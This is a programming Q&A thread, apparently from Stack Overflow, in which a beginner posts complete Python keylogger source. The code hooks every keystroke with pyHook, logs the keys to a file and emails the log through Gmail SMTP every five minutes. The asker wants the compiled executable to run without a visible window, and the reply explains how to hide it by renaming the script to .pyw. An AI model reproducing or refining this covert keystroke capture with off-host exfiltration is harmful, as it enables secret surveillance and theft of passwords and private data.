0

I'm new to Python. I'm writing a key-logger program.

I wrote this:

#!/usr/bin/python
import pythoncom , pyHook , time, smtplib
LOG = open("C:\LOG.txt", "a")
LOG.write("")
LOG.close()
_time = time.strftime(" %A, %d, %B, %Y, %H : %M ")
_time1 = _time
num_lines =sum(1 for line in open('C:\LOG.txt'))
if num_lines > 45 :
       LOG = open("C:\LOG.txt", "w")
       LOG.truncate()
       LOG.close()
LOG = open("C:\LOG.txt", "a")
LOG.write("\n>>>============================ Start KeyLogger [%s] ============================<<<\n"%(_time)) 
LOG.close()
timer = time.time()
mtxt = ""
def OnKeyboardEvent(event) :
    global _time1
    global timer
    c = time.strftime(" %A, %d, %B, %Y, %H : %M ")
    timer2 = time.time()
    if timer2 >= timer+300.0 :
        LOG = open("C:\LOG.txt","r")
        TXT = LOG.readlines()
        i = 0
        while i < len(TXT) :
            global mtxt
            global txt
            txt = TXT[i]
            i += 1
            mtxt += txt 
        server = smtplib.SMTP("smtp.gmail.com:25")
        server.starttls()
        server.login("myemail@gmail.com", "password")
        server.sendmail("myemail@gmail.com", "myemail@gmail.com", mtxt)
        server.quit()
        LOG.close()
        timer = timer2
    
    if _time1 == c  : 
        LOG = open("C:\LOG.txt", "a")
        LOG.write(chr(event.Ascii))
        LOG.close()
        
        
    elif _time1 != c :
        LOG = open("C:\LOG.txt", "a")
        LOG.write("\n[%s]\n"% (c))
        LOG.close()
        _time1 = c
   
hm = pyHook.HookManager()  
hm.KeyDown = OnKeyboardEvent   
hm.HookKeyboard()  

pythoncom.PumpMessages()

I know that is very messy... but I'm still working on it and I tried to don't look at other key loggers...

It working fine and every five minute it sends me an email with the keys... But I tried to compile it with py2exe and when i start the keylogger.exe it opens a prompt window... It is working fine but there is the window. I want to hide that window or change the program into a process, but I don't know how...

Stefan van den Akker
  • 6,661
  • 7
  • 48
  • 63
iampirla
  • 35
  • 1
  • 1
  • 11

1 Answers1

0

i think all you all you have to do is to change the extension on the python script from .py to .pyw before using py2exe to convert the python file into an executable. Hope it helps.

Why does my program work with a .py extension but not with a .pyw extension?

Community
  • 1
  • 1
jia chen
  • 710
  • 1
  • 6
  • 16